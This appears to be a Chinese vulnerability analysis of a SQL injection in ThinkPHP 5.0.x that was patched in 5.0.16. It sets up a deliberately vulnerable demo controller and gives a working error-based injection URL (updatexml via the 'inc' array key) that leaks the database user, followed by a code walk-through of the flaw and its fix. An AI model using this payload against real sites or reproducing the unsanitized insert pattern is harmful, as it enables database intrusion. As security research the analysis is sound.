public function index()
|
||||||
|
{
|
||||||
|
$username = request()->get('username/a');
|
||||||
|
db('users')->insert(['username' => $username]);
|
||||||
|
return 'Update success';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
在 **application/database.php** 文件中配置数据库相关信息,并开启
|
||||||
|
**application/config.php** 中的 **app\_debug** 和 **app\_trace**
|
||||||
|
。创建数据库信息如下:
|
||||||
|
|
||||||
|
create database tpdemo;
|
||||||
|
use tpdemo;
|
||||||
|
create table users(
|
||||||
|
id int primary key auto_increment,
|
||||||
|
username varchar(50) not null
|
||||||
|
);
|
||||||
|
|
||||||
|
### poc
|
||||||
|
|
||||||
|
http://0-sec.org/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
|
||||||
|
|
||||||
|
访问链接,即可触发 **SQL注入漏洞** 。(没开启 **app\_debug** 是无法看到
|
||||||
|
**SQL** 报错信息的)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 漏洞分析
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
首先在官方发布的 **5.0.16**
|
||||||
|
版本更新说明中,发现其中提到该版本包含了一个安全更新,我们可以查阅其
|
||||||
|
**commit** 记录,发现其修改的 **Builder.php** 文件代码比较可疑。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
接着我们直接跟着上面的攻击 **payload** 来看看漏洞原理。首先,
|
||||||
|
**payload** 数据经过 **ThinkPHP** 内置方法的过滤后(不影响我们的
|
||||||
|
**payload** ),直接进入了 **\$this-\>builder** 的 **insert**
|
||||||
|
方法,这里的 **\$this-\>builder** 为 **\\think\\db\\builder\\Mysql**
|
||||||
|
类,代码如下:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
而 **Mysql** 类继承于 **Builder** 类,即上面的
|
||||||
|
**\$this-\>builder-\>insert()** 最终调用的是 **Builder** 类的 **insert**
|
||||||
|
方法。在 **insert** 方法中,我们看到其调用 **parseData**
|
||||||
|
方法来分析并处理数据,而 **parseData** 方法直接将来自用户的数据
|
||||||
|
**\$val** 进行了拼接返回。我们的恶意数据存储在 **\$val\[1\]**
|
||||||
|
中,虽经过了 **parseKey**
|
||||||
|
方法处理,当丝毫不受影响,因为该方法只是用来解析处理数据的,并不是清洗数据。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
上面,我们看到直接将用户数据进行拼接。然后再回到 **Builder** 类的
|
||||||
|
**insert** 方法,直接通过替换字符串的方式,将 **\$data** 填充到 **SQL**
|
||||||
|
语句中,进而执行,造成 **SQL注入漏洞** 。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
至此,我们已将整个漏洞分析完了。实际上,上面的 **switch**
|
||||||
|
结构中,3种情况返回的数据都有可能造成 **SQL** 注入漏洞,但是在观察
|
||||||
|
**ThinkPHP** 官方的修复代码中,发现其只对 **inc** 和 **dec**
|
||||||
|
进行了修复,而对于 **exp** 的情况并未处理,这是为什么呢?
|
||||||
|
|
||||||
|
实际上, **exp** 的情况早在传入 **insert** 方法前就被 **ThinkPHP**
|
||||||
|
内置过滤方法给处理了,如果数据中存在 **exp** ,则会被替换成 **exp空格**
|
||||||
|
,这也是为什么 **ThinkPHP** 官方没有对 **exp**
|
||||||
|
的情况进行处理的原因了。具体内置过滤方法的代码如下:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 漏洞修复
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 攻击总结
|
||||||
|
|
||||||
|
最后,再通过一张攻击流程图来回顾整个攻击过程。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
参考链接
|
||||||
|
--------
|
||||||
|
|
||||||
|
> https://github.com/Mochazz/ThinkPHP-Vuln
|
After Width: | Height: | Size: 160 KiB |
After Width: | Height: | Size: 196 KiB |
After Width: | Height: | Size: 147 KiB |